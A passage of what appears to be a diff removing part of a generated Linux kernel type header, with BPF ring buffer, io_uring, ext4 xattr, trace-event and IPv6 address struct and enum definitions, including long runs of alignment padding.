64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long unsigned int consumer_pos; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long unsigned int producer_pos; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - char data[0]; -}; - -struct bpf_ringbuf_map { - struct bpf_map map; - struct bpf_ringbuf *rb; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct bpf_ringbuf_hdr { - u32 len; - u32 pg_off; -}; - -typedef u64 (*btf_bpf_ringbuf_reserve)(struct bpf_map *, u64, u64); - -typedef u64 (*btf_bpf_ringbuf_submit)(void *, u64); - -typedef u64 (*btf_bpf_ringbuf_discard)(void *, u64); - -typedef u64 (*btf_bpf_ringbuf_output)(struct bpf_map *, void *, u64, u64); - -typedef u64 (*btf_bpf_ringbuf_query)(struct bpf_map *, u64); - -typedef u64 (*btf_bpf_ringbuf_reserve_dynptr)(struct bpf_map *, u32, u64, struct bpf_dynptr_kern *); - -typedef u64 (*btf_bpf_ringbuf_submit_dynptr)(struct bpf_dynptr_kern *, u64); - -typedef u64 (*btf_bpf_ringbuf_discard_dynptr)(struct bpf_dynptr_kern *, u64); - -typedef u64 (*btf_bpf_user_ringbuf_drain)(struct bpf_map *, void *, void *, u64); - -typedef struct kobject *kobj_probe_t(dev_t, int *, void *); - -struct kobj_map; - -struct char_device_struct { - struct char_device_struct *next; - unsigned int major; - unsigned int baseminor; - int minorct; - char name[64]; - struct cdev *cdev; -}; - -struct proc_mounts { - struct mnt_namespace *ns; - struct path root; - int (*show)(struct seq_file *, struct vfsmount *); - struct mount cursor; -}; - -struct proc_fs_opts { - int flag; - const char *str; -}; - -struct mb_cache_entry { - struct list_head e_list; - struct hlist_bl_node e_hash_list; - atomic_t e_refcnt; - u32 e_key; - u32 e_referenced: 1; - u32 e_reusable: 1; - u64 e_value; -}; - -struct ext4_xattr_header { - __le32 h_magic; - __le32 h_refcount; - __le32 h_blocks; - __le32 h_hash; - __le32 h_checksum; - __u32 h_reserved[3]; -}; - -struct ext4_xattr_ibody_header { - __le32 h_magic; -}; - -struct ext4_xattr_entry { - __u8 e_name_len; - __u8 e_name_index; - __le16 e_value_offs; - __le32 e_value_inum; - __le32 e_value_size; - __le32 e_hash; - char e_name[0]; -}; - -struct ext4_xattr_info { - const char *name; - const void *value; - size_t value_len; - int name_index; - int in_inode; -}; - -struct ext4_xattr_search { - struct ext4_xattr_entry *first; - void *base; - void *end; - struct ext4_xattr_entry *here; - int not_found; -}; - -struct ext4_xattr_ibody_find { - struct ext4_xattr_search s; - struct ext4_iloc iloc; -}; - -struct ext4_xattr_inode_array { - unsigned int count; - struct inode *inodes[0]; -}; - -struct ext4_xattr_block_find { - struct ext4_xattr_search s; - struct buffer_head *bh; -}; - -struct xa_limit { - u32 max; - u32 min; -}; - -struct io_sqring_offsets { - __u32 head; - __u32 tail; - __u32 ring_mask; - __u32 ring_entries; - __u32 flags; - __u32 dropped; - __u32 array; - __u32 resv1; - __u64 resv2; -}; - -struct io_cqring_offsets { - __u32 head; - __u32 tail; - __u32 ring_mask; - __u32 ring_entries; - __u32 overflow; - __u32 cqes; - __u32 flags; - __u32 resv1; - __u64 resv2; -}; - -struct io_uring_params { - __u32 sq_entries; - __u32 cq_entries; - __u32 flags; - __u32 sq_thread_cpu; - __u32 sq_thread_idle; - __u32 features; - __u32 wq_fd; - __u32 resv[3]; - struct io_sqring_offsets sq_off; - struct io_cqring_offsets cq_off; -}; - -struct io_uring_probe_op { - __u8 op; - __u8 resv; - __u16 flags; - __u32 resv2; -}; - -struct io_uring_probe { - __u8 last_op; - __u8 ops_len; - __u16 resv; - __u32 resv2[3]; - struct io_uring_probe_op ops[0]; -}; - -struct io_uring_restriction { - __u16 opcode; - union { - __u8 register_op; - __u8 sqe_op; - __u8 sqe_flags; - }; - __u8 resv; - __u32 resv2[3]; -}; - -enum { - IORING_RESTRICTION_REGISTER_OP = 0, - IORING_RESTRICTION_SQE_OP = 1, - IORING_RESTRICTION_SQE_FLAGS_ALLOWED = 2, - IORING_RESTRICTION_SQE_FLAGS_REQUIRED = 3, - IORING_RESTRICTION_LAST = 4, -}; - -struct io_uring_getevents_arg { - __u64 sigmask; - __u32 sigmask_sz; - __u32 pad; - __u64 ts; -}; - -struct io_uring_file_index_range { - __u32 off; - __u32 len; - __u64 resv; -}; - -struct io_sq_data { - refcount_t refs; - atomic_t park_pending; - struct mutex lock; - struct list_head ctx_list; - struct task_struct *thread; - struct wait_queue_head wait; - unsigned int sq_thread_idle; - int sq_cpu; - pid_t task_pid; - pid_t task_tgid; - long unsigned int state; - struct completion exited; -}; - -struct io_overflow_cqe { - struct list_head list; - struct io_uring_cqe cqe; -}; - -struct trace_event_raw_io_uring_create { - struct trace_entry ent; - int fd; - void *ctx; - u32 sq_entries; - u32 cq_entries; - u32 flags; - char __data[0]; -}; - -struct trace_event_raw_io_uring_register { - struct trace_entry ent; - void *ctx; - unsigned int opcode; - unsigned int nr_files; - unsigned int nr_bufs; - long int ret; - char __data[0]; -}; - -struct trace_event_raw_io_uring_file_get { - struct trace_entry ent; - void *ctx; - void *req; - u64 user_data; - int fd; - char __data[0]; -}; - -struct trace_event_raw_io_uring_queue_async_work { - struct trace_entry ent; - void *ctx; - void *req; - u64 user_data; - u8 opcode; - unsigned int flags; - struct io_wq_work *work; - int rw; - u32 __data_loc_op_str; - char __data[0]; -}; - -struct trace_event_raw_io_uring_defer { - struct trace_entry ent; - void *ctx; - void *req; - long long unsigned int data; - u8 opcode; - u32 __data_loc_op_str; - char __data[0]; -}; - -struct trace_event_raw_io_uring_link { - struct trace_entry ent; - void *ctx; - void *req; - void *target_req; - char __data[0]; -}; - -struct trace_event_raw_io_uring_cqring_wait { - struct trace_entry ent; - void *ctx; - int min_events; - char __data[0]; -}; - -struct trace_event_raw_io_uring_fail_link { - struct trace_entry ent; - void *ctx; - void *req; - long long unsigned int user_data; - u8 opcode; - void *link; - u32 __data_loc_op_str; - char __data[0]; -}; - -struct trace_event_raw_io_uring_complete { - struct trace_entry ent; - void *ctx; - void *req; - u64 user_data; - int res; - unsigned int cflags; - u64 extra1; - u64 extra2; - char __data[0]; -}; - -struct trace_event_raw_io_uring_submit_sqe { - struct trace_entry ent; - void *ctx; - void *req; - long long unsigned int user_data; - u8 opcode; - u32 flags; - bool force_nonblock; - bool sq_thread; - u32 __data_loc_op_str; - char __data[0]; -}; - -struct trace_event_raw_io_uring_poll_arm { - struct trace_entry ent; - void *ctx; - void *req; - long long unsigned int user_data; - u8 opcode; - int mask; - int events; - u32 __data_loc_op_str; - char __data[0]; -}; - -struct trace_event_raw_io_uring_task_add { - struct trace_entry ent; - void *ctx; - void *req; - long long unsigned int user_data; - u8 opcode; - int mask; - u32 __data_loc_op_str; - char __data[0]; -}; - -struct trace_event_raw_io_uring_req_failed { - struct trace_entry ent; - void *ctx; - void *req; - long long unsigned int user_data; - u8 opcode; - u8 flags; - u8 ioprio; - u64 off; - u64 addr; - u32 len; - u32 op_flags; - u16 buf_index; - u16 personality; - u32 file_index; - u64 pad1; - u64 addr3; - int error; - u32 __data_loc_op_str; - char __data[0]; -}; - -struct trace_event_raw_io_uring_cqe_overflow { - struct trace_entry ent; - void *ctx; - long long unsigned int user_data; - s32 res; - u32 cflags; - void *ocqe; - char __data[0]; -}; - -struct trace_event_raw_io_uring_task_work_run { - struct trace_entry ent; - void *tctx; - unsigned int count; - unsigned int loops; - char __data[0]; -}; - -struct trace_event_raw_io_uring_short_write { - struct trace_entry ent; - void *ctx; - u64 fpos; - u64 wanted; - u64 got; - char __data[0]; -}; - -struct trace_event_raw_io_uring_local_work_run { - struct trace_entry ent; - void *ctx; - int count; - unsigned int loops; - char __data[0]; -}; - -struct trace_event_data_offsets_io_uring_create {}; - -struct trace_event_data_offsets_io_uring_register {}; - -struct trace_event_data_offsets_io_uring_file_get {}; - -struct trace_event_data_offsets_io_uring_queue_async_work { - u32 op_str; -}; - -struct trace_event_data_offsets_io_uring_defer { - u32 op_str; -}; - -struct trace_event_data_offsets_io_uring_link {}; - -struct trace_event_data_offsets_io_uring_cqring_wait {}; - -struct trace_event_data_offsets_io_uring_fail_link { - u32 op_str; -}; - -struct trace_event_data_offsets_io_uring_complete {}; - -struct trace_event_data_offsets_io_uring_submit_sqe { - u32 op_str; -}; - -struct trace_event_data_offsets_io_uring_poll_arm { - u32 op_str; -}; - -struct trace_event_data_offsets_io_uring_task_add { - u32 op_str; -}; - -struct trace_event_data_offsets_io_uring_req_failed { - u32 op_str; -}; - -struct trace_event_data_offsets_io_uring_cqe_overflow {}; - -struct trace_event_data_offsets_io_uring_task_work_run {}; - -struct trace_event_data_offsets_io_uring_short_write {}; - -struct trace_event_data_offsets_io_uring_local_work_run {}; - -typedef void (*btf_trace_io_uring_create)(void *, int, void *, u32, u32, u32); - -typedef void (*btf_trace_io_uring_register)(void *, void *, unsigned int, unsigned int, unsigned int, long int); - -typedef void (*btf_trace_io_uring_file_get)(void *, struct io_kiocb *, int); - -typedef void (*btf_trace_io_uring_queue_async_work)(void *, struct io_kiocb *, int); - -typedef void (*btf_trace_io_uring_defer)(void *, struct io_kiocb *); - -typedef void (*btf_trace_io_uring_link)(void *, struct io_kiocb *, struct io_kiocb *); - -typedef void (*btf_trace_io_uring_cqring_wait)(void *, void *, int); - -typedef void (*btf_trace_io_uring_fail_link)(void *, struct io_kiocb *, struct io_kiocb *); - -typedef void (*btf_trace_io_uring_complete)(void *, void *, void *, u64, int, unsigned int, u64, u64); - -typedef void (*btf_trace_io_uring_submit_sqe)(void *, struct io_kiocb *, bool); - -typedef void (*btf_trace_io_uring_poll_arm)(void *, struct io_kiocb *, int, int); - -typedef void (*btf_trace_io_uring_task_add)(void *, struct io_kiocb *, int); - -typedef void (*btf_trace_io_uring_req_failed)(void *, const struct io_uring_sqe *, struct io_kiocb *, int); - -typedef void (*btf_trace_io_uring_cqe_overflow)(void *, void *, long long unsigned int, s32, u32, void *); - -typedef void (*btf_trace_io_uring_task_work_run)(void *, void *, unsigned int, unsigned int); - -typedef void (*btf_trace_io_uring_short_write)(void *, void *, u64, u64, u64); - -typedef void (*btf_trace_io_uring_local_work_run)(void *, void *, int, unsigned int); - -enum { - IO_WQ_WORK_CANCEL = 1, - IO_WQ_WORK_HASHED = 2, - IO_WQ_WORK_UNBOUND = 4, - IO_WQ_WORK_CONCURRENT = 16, - IO_WQ_HASH_SHIFT = 24, -}; - -enum { - IORING_RSRC_FILE = 0, - IORING_RSRC_BUFFER = 1, -}; - -enum { - IO_APOLL_OK = 0, - IO_APOLL_ABORTED = 1, - IO_APOLL_READY = 2, -}; - -enum { - IO_CHECK_CQ_OVERFLOW_BIT = 0, - IO_CHECK_CQ_DROPPED_BIT = 1, -}; - -enum { - IO_EVENTFD_OP_SIGNAL_BIT = 0, - IO_EVENTFD_OP_FREE_BIT = 1, -}; - -struct io_defer_entry { - struct list_head list; - struct io_kiocb *req; - u32 seq; -}; - -struct io_wait_queue { - struct wait_queue_entry wq; - struct io_ring_ctx *ctx; - unsigned int cq_tail; - unsigned int nr_timeouts; -}; - -struct io_tctx_exit { - struct callback_head task_work; - struct completion completion; - struct io_ring_ctx *ctx; -}; - -struct io_task_cancel { - struct task_struct *task; - bool all; -}; - -struct creds; - -enum { - IFLA_INET6_UNSPEC = 0, - IFLA_INET6_FLAGS = 1, - IFLA_INET6_CONF = 2, - IFLA_INET6_STATS = 3, - IFLA_INET6_MCAST = 4, - IFLA_INET6_CACHEINFO = 5, - IFLA_INET6_ICMP6STATS = 6, - IFLA_INET6_TOKEN = 7, - IFLA_INET6_ADDR_GEN_MODE = 8, - IFLA_INET6_RA_MTU = 9, - __IFLA_INET6_MAX = 10, -}; - -enum in6_addr_gen_mode { - IN6_ADDR_GEN_MODE_EUI64 = 0, - IN6_ADDR_GEN_MODE_NONE = 1, - IN6_ADDR_GEN_MODE_STABLE_PRIVACY = 2, - IN6_ADDR_GEN_MODE_RANDOM = 3, -}; - -struct ifla_cacheinfo { - __u32 max_reasm_len; - __u32 tstamp; - __u32 reachable_time; - __u32 retrans_time; -}; - -struct ifaddrmsg { - __u8 ifa_family; - __u8 ifa_prefixlen; - __u8 ifa_flags; - __u8 ifa_scope; - __u32 ifa_index; -}; - -enum { - IFA_UNSPEC = 0, - IFA_ADDRESS = 1, - IFA_LOCAL = 2, - IFA_LABEL = 3, - IFA_BROADCAST = 4, - IFA_ANYCAST = 5, - IFA_CACHEINFO = 6, - IFA_MULTICAST = 7, - IFA_FLAGS = 8, - IFA_RT_PRIORITY = 9, - IFA_TARGET_NETNSID = 10, - IFA_PROTO = 11, - __IFA_MAX = 12, -}; - -struct ifa_cacheinfo { - __u32 ifa_prefered; - __u32 ifa_valid; - __u32 cstamp; - __u32 tstamp; -}; - -struct prefixmsg { - unsigned char prefix_family; - unsigned char prefix_pad1; - short unsigned int prefix_pad2; - int prefix_ifindex; - unsigned char prefix_type; - unsigned char prefix_len; - unsigned char prefix_flags; - unsigned char prefix_pad3; -}; - -enum { - PREFIX_UNSPEC = 0, - PREFIX_ADDRESS = 1, - PREFIX_CACHEINFO = 2, - __PREFIX_MAX = 3, -}; - -struct prefix_cacheinfo { - __u32 preferred_time; - __u32 valid_time; -}; - -struct in6_ifreq { - struct in6_addr ifr6_addr; - __u32 ifr6_prefixlen; - int ifr6_ifindex; -}; - -enum { - DEVCONF_FORWARDING = 0, - DEVCONF_HOPLIMIT = 1, - DEVCONF_MTU6 = 2, - DEVCONF_ACCEPT_RA = 3, - DEVCONF_ACCEPT_REDIRECTS = 4, - DEVCONF_AUTOCONF = 5, - DEVCONF_DAD_TRANSMITS = 6, - DEVCONF_RTR_SOLICITS = 7, - DEVCONF_RTR_SOLICIT_INTERVAL = 8, - DEVCONF_RTR_SOLICIT_DELAY = 9, - DEVCONF_USE_TEMPADDR = 10, - DEVCONF_TEMP_VALID_LFT = 11, - DEVCONF_TEMP_PREFERED_LFT = 12, - DEVCONF_REGEN_MAX_RETRY = 13, - DEVCONF_MAX_DESYNC_FACTOR = 14, - DEVCONF_MAX_ADDRESSES = 15, - DEVCONF_FORCE_MLD_VERSION = 16, - DEVCONF_ACCEPT_RA_DEFRTR = 17, - DEVCONF_ACCEPT_RA_PINFO = 18, - DEVCONF_ACCEPT_RA_RTR_PREF = 19, - DEVCONF_RTR_PROBE_INTERVAL = 20, - DEVCONF_ACCEPT_RA_RT_INFO_MAX_PLEN = 21, - DEVCONF_PROXY_NDP = 22, - DEVCONF_OPTIMISTIC_DAD = 23, - DEVCONF_ACCEPT_SOURCE_ROUTE = 24, - DEVCONF_MC_FORWARDING = 25, - DEVCONF_DISABLE_IPV6 = 26, - DEVCONF_ACCEPT_DAD = 27, - DEVCONF_FORCE_TLLAO = 28, - DEVCONF_NDISC_NOTIFY = 29, - DEVCONF_MLDV1_UNSOLICITED_REPORT_INTERVAL = 30, - DEVCONF_MLDV2_UNSOLICITED_REPORT_INTERVAL = 31, - DEVCONF_SUPPRESS_FRAG_NDISC = 32, - DEVCONF_ACCEPT_RA_FROM_LOCAL = 33, - DEVCONF_USE_OPTIMISTIC = 34, - DEVCONF_ACCEPT_RA_MTU = 35, - DEVCONF_STABLE_SECRET = 36, - DEVCONF_USE_OIF_ADDRS_ONLY = 37, - DEVCONF_ACCEPT_RA_MIN_HOP_LIMIT = 38, - DEVCONF_IGNORE_ROUTES_WITH_LINKDOWN = 39, - DEVCONF_DROP_UNICAST_IN_L2_MULTICAST = 40, - DEVCONF_DROP_UNSOLICITED_NA = 41, - DEVCONF_KEEP_ADDR_ON_DOWN = 42, - DEVCONF_RTR_SOLICIT_MAX_INTERVAL = 43, - DEVCONF_SEG6_ENABLED = 44, - DEVCONF_SEG6_REQUIRE_HMAC = 45, - DEVCONF_ENHANCED_DAD = 46, - DEVCONF_ADDR_GEN_MODE = 47, - DEVCONF_DISABLE_POLICY = 48, - DEVCONF_ACCEPT_RA_RT_INFO_MIN_PLEN = 49, - DEVCONF_NDISC_TCLASS = 50, - DEVCONF_RPL_SEG_ENABLED = 51, - DEVCONF_RA_DEFRTR_METRIC = 52, - DEVCONF_IOAM6_ENABLED = 53, - DEVCONF_IOAM6_ID = 54, - DEVCONF_IOAM6_ID_WIDE = 55, - DEVCONF_NDISC_EVICT_NOCARRIER = 56, - DEVCONF_ACCEPT_UNTRACKED_NA = 57, - DEVCONF_MAX = 58, -}; - -struct ipv6_params { - __s32 disable_ipv6; - __s32 autoconf; -}; - -enum { - INET6_IFADDR_STATE_PREDAD = 0, - INET6_IFADDR_STATE_DAD = 1, - INET6_IFADDR_STATE_POSTDAD = 2, - INET6_IFADDR_STATE_ERRDAD = 3, - INET6_IFADDR_STATE_DEAD = 4, -}; - -struct inet6_ifaddr { - struct in6_addr addr; - __u32 prefix_len; - __u32 rt_priority; - __u32 valid_lft; - __u32 prefered_lft; - refcount_t refcnt; - spinlock_t lock; - int state; - __u32 flags; - __u8 dad_probes; - __u8 stable_privacy_retry; - __u16 scope; 